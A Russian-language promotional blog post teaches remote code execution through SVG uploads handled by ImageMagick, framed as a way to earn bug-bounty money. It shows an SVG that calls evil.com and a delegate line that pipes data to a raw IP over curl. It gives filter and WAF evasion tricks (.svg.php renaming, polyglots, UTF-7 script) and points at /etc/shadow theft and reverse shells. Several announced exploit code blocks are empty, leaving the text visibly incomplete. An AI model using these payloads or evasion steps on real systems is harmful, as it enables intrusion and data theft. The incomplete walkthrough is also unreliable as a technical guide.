Авторские курсы Михаила Тарасова

RCE через upload SVG: как превратить картинку в шелл. Греби бабло на Баг-Баунти

RCE через upload SVG: как превратить картинку в шелл. Греби бабло на Баг-Баунти

Точка входа

Что вижу:
Форма загрузки аватарки принимает SVG. После аплоада — подозрительная задержка в 5 секунд. В логах светится libxml2 + convert (это ImageMagick, бро). Пахнет удалённым выполнением кода через декодирование SVG.

Как поймал:
— Инструмент: Простой SVG с тегом <image xlink:href="https://evil.com/poc.svg"/> + tcpdump.
— Метод: Загрузил SVG с payload’ом → увидел исходящие подключения к своему серверу.

Чем пахнет:
— Класс: RCE через небезопасный рендеринг SVG (часто в связке с ImageMagick или кастомными библиотеками).
— Вероятность: 8/10. Девелоперы до сих пор верят, что SVG — это «просто картинка».

Че почем

Эксплойт:
Создаёшь файл exploit.svg:

Но это для слабаков. Настоящий мув:

Где rce.dtd:

Обход защиты:
— Если блокируют .svg: Переименуй в .svg.php или сделай полиглот SVG+PHP.
— Если WAF фильтрует теги: Используй кодировку UTF-7: +ADw-script+AD4-alert(1)+ADw-/script+AD4-.

Доказательство:
Скриншот вывода id из логов после выполнения convert exploit.svg exploit.jpg«Видишь uid=0? Это не артефакт рендера — это root».

Хвост от старика

3 вектора для добивания:

  1. XXE через SVG: Если парсер либxml2, цепляй DTD с локальных файлов → /etc/shadow в base64.

  2. ImageMagick delegate-атака:

    • в конфиге ImageMagick:
      delegate 'https' 'sh -c "curl 144.228.71.44:1337 -d @-; exit 0"';

  1. Через EXIF:

План атаки:

  1. Загружаешь SVG с инъекцией.

  2. Ждёшь, когда бэкенд запустит convert/rsvg-convert.

  3. Ловишь reverse-shell через делегаты:

Бонус от деда

Если в ответе X-Image-Processor: ImageMagick 6.9.7:
— Гугли CVE-2016-3714 (ImageTragick).
— Эксплойт:

Мемная аналитика:
«SVG — как троянский конь: внутри красивый пони, а на деле — 0-day, который дампит тебе базу».

Итог:
— Уязвимость: Парсинг SVG с выполнением команд (чаще в ImageMagick, Inkscape, кастомных скриптах).
— Фикс: Отключай делегаты, используй policy.xml для запрета опасных операций.
— Но пока dev’ы этого не сделали — греби бабло на баг-баунти.

Мои курсы